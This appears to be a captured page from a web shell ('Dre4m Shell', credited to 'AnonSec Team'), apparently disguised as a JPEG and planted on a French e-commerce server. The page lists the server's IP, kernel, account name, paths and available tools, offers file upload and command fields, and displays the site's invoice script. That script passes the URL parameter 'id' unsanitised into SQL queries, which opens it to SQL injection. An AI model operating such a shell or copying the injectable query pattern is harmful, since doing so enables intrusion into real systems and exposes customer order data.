ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/cp-admin//facture.php
<?
include("includes/webzone.php");

$sql = "SELECT * FROM " . $GLOBALS['db_table']['commands'] . " WHERE id = " . $_GET['id'];
$requete = $bdd->query($sql);
$commande = $requete->fetch();

$sql = "
SELECT
	p.id,
  	p.reference,
	p.nom,
	p.prix AS curr_prix,
	p.descriptifcourt AS mention,
	p.promotion,
	cp.prix AS purchase_prix,
	cp.quantite,
	cp.tva,
	cp.prix * cp.quantite AS total
FROM " . $GLOBALS['db_table']['commands_products'] . " cp
LEFT JOIN " . $GLOBALS['db_table']['products'] . " p ON (cp.produit_id = p.id)
WHERE commande_id = " . $_GET['id'];
$requete = $bdd->query($sql);
?>

<html>
	<head>
		<title>Facture <?=$com_nom?></title>
	</head>
	<style type="text/css">
		.txtblanc {
			color: white;
			background-color: black;
		}
	</style>
	<body>
		<table width="800" height="100%">
			<tr>
				<td valign=top>
					<div align="center">
						<center>				
							<table border="0" cellspacing="0" width="90%" bgcolor="WHITE">
								<tr>
									<td valign="top" align="left" class="normal">
										<br>
										<b><font size="5" face="VERDANA">Facture n° <?php echo $commande['id']; ?>
										<br><font size="2" face="VERDANA">Commande n° <?php echo $commande['id']; ?>
										<br><font size="2" face="VERDANA"><?php echo return_date_fr($commande['o_timestamp']); ?>
										<br><br>
										<table border="1" cellpadding="5" cellspacing="0" width="60%" bordercolor="#000000">
											<tr>
												<td bgcolor="#FFFFFF" align="center" class="normal" width="50%">
													<?=$com_nom?><br><?=$com_adresse?><br><?=$com_cp?> <?=$com_ville?><br><?=$com_tel?><br><br><?=$com_mailcontact?>
												</td>
											</tr>
										</table>
									</td>
									<td valign="bottom" align="right" class=petit>
										<table border="1" cellpadding="5" cellspacing="1" width="80%" bordercolor="#808080">
											<tr>
												<td class="txtblanc"><b>Adresse de facturation et de livraison</b></td>
											</tr>
											<tr>
												<td class="normal">
													<?=stripslashes($commande['client_nom'])?> <?=stripslashes($commande['client_prenom'])?><br>
													<?=stripslashes($commande['client_adresse1'])?><br>

													<?
													if (($commande['client_adresse2']) > " ")  {
														echo stripslashes($commande['client_adresse2']);
														echo '<br>';
													}
													?>

													<?=stripslashes($commande['client_cp'])?> <?=stripslashes($commande['client_ville'])?><br><?=stripslashes($commande['client_pays'])?><br>
													<?=stripslashes($commande['client_email'])?> <br>

													<?
													if (($commande['client_tel']) > " ")  {
														echo 'Tel. ' . $commande['client_tel'];
													}
													?>
												</td>
											</tr>
										</table>
									</td>
								</tr>
							</table>
						</center>
					</div>
					<br>
					<br>
					<div align="center">
						<center>
							<?php
							if (($commande['reduction']) > 0) {
								echo'<span class="normal"><b>Cette facture tient compte du code réuction de ' . fprix($commande['reduction']) . '% sur chaque article commandé</b></span><br><br>';
							}
							?>
							<table border="1" cellpadding="3" cellspacing="0" bordercolor="#000000" width="90%" bgcolor="WHITE">
								<tr>
									<!--td align="left" class="txtblanc"><strong>Ref</strong></td-->
									<td align="left" class="txtblanc"><strong>Produit</strong></td>
									<td align="center" class="txtblanc"><strong>TVA</strong></td>
									<td align="center" class="txtblanc"><strong>Qtité</strong></td>
									<td align="center" class="txtblanc"><strong>Px Unit </strong></td>

									<? // si code réuction
									$nbcolonnes = 4;	
									if (($commande['reduction']) > 0) {
										echo'<td align="center" class="txtblanc"><strong>Px -' . $commande['reduction'] .  '%</strong></td>';
										$nbcolonnes = 5;
									}
									?>

									<td align="right" class="txtblanc"><strong>Total </strong></td>
								</tr>

								<?php
								$ensemble_total_ht = 0;
								$ensemble_total_ttc = 0;
								$ensemble_total_ht_5_5 = 0;
								$ensemble_total_ttc_5_5 = 0;
								$ensemble_total_ht_20 = 0;
								$ensemble_total_ttc_20 = 0;

								while ($produit = $requete->fetch()) { 
									$prix = $produit["purchase_prix"];  

									if (($commande['reduction']) > 0) {
										$prix = $prix - (($prix * ($commande['reduction'])) / 100);
									}

									$prix_ht = $prix / (1 + $produit["tva"] / 100); 

									$total_ttc = $prix * $produit["quantite"];

									$total_ht = $total_ttc / (1 + $produit["tva"] / 100);

									$ensemble_total_ht += $total_ht;			
									$ensemble_total_ttc += $total_ttc;

									if ($produit["tva"]== 5.5) {
										$ensemble_total_ht_5_5 += $total_ht;			
										$ensemble_total_ttc_5_5 += $total_ttc;
									} else {
										$ensemble_total_ht_20 += $total_ht;			
										$ensemble_total_ttc_20 += $total_ttc;
									}

									$tva_5_5 = $ensemble_total_ttc_5_5 - $ensemble_total_ht_5_5;
									$tva_20 = $ensemble_total_ttc_20 - $ensemble_total_ht_20;

									if (($commande['cout_transport']) > 0) {
										$tva_transport = ($commande['cout_transport']) - (($commande['cout_transport']) /(1 + $produit["tva"] / 100)) ;
										$tva_20 += $tva_transport; 
									}
									$tva_total = $tva_20 + $tva_5_5;
									?>

									<tr>
										<!--td class=normal><?=$produit["reference"] ?></td-->
										<td class="normal">
											<?php
											echo stripslashes($produit["nom"]);
											if ($produit['promotion'] != 0) {
												echo " <b>(Promo -" . fprix($produit['promotion']) . "% )</b>";
											} 
											if ($produit["mention"] > " ") {
												echo '<br> (' . $produit["mention"] . ')';
											}
											?>
										</td>

										<td class="normal" align=center><?=fprix($produit["tva"]);?> %</td>
										<td class="normal" align=center><?=$produit["quantite"]?></td>
										<td class="normal" align=center><?=fprix($produit["purchase_prix"])?> €</td>

										<? // si code r?uction
										if (($commande['reduction']) > 0) {
											echo '<td class="normal" align=center>' . fprix($prix) . ' €</td>';
										}
										?>

										<td class="normal" align=right><?=fprix($total_ttc)?> €</td>
									</tr>

									<?
								}
								?>

								<tr>
									<td colspan="<?=$nbcolonnes?>" align="right" bgcolor="#FFFFFF" class="normal"><b>Frais de port&nbsp;</b></td>
									<td align="right" bgcolor="#FFFFFF" class="normal"><b>
										<?=fprix($commande['cout_transport'])?> €</b>
									</td>
								</tr>
								<tr>
									<td colspan="<?=$nbcolonnes?>" align="right" class="txtblanc">
										<p><b>Total </b></p>
									</td>
									<td align="right" class="txtblanc">
										<b><?=number_format($ensemble_total_ttc + $commande['cout_transport'],2,',','')?> €</b>
									</td>
								</tr>
								<?php
								if($tva_5_5 > 0) {
									?>
									<tr>
										<td colspan="<?=$nbcolonnes?>" align="right" bgcolor="#FFFFFF" class="normal"><b>dont TVA 5.5%&nbsp;</b></td>
										<td align="right" bgcolor="#FFFFFF" class="normal"><b><?=fprix($tva_5_5)?> €</b></td>
									</tr>
									<?
								}
								if($tva_20 > 0) {
									?>
									<tr>
										<td colspan="<?=$nbcolonnes?>" align="right" bgcolor="#FFFFFF" class="normal"><b>dont TVA 20%&nbsp;</b></td>
										<td align="right" bgcolor="#FFFFFF" class="normal"><b><?=fprix($tva_20)?> €</b></td>
									</tr>
									<?
								}
								?>
								<tr>
									<td colspan="<?=$nbcolonnes?>" align="right" bgcolor="#FFFFFF" class="normal"><b>dont total TVA &nbsp;</b></td>
									<td align="right" bgcolor="#FFFFFF" class="normal"><b><?=fprix($tva_total)?> €</b></td>
								</tr>
								<tr>
									<td colspan="<?=$nbcolonnes?>" align="right" bgcolor="#FFFFFF" class="normal">Mode de paiement </td>
									<td align="right" bgcolor="#FFFFFF" class="normal"><?=$commande['paiement']?></td>
								</tr>
							</table>
						</center>
					</div>
					<p align="center" class="petit"><?=$com_nom?> - <?=$com_siret?><br><?=$com_tva?></p>
				</td>
			</tr>
		</table>
	</body>
</html>

Anon7 - 2022
AnonSec Team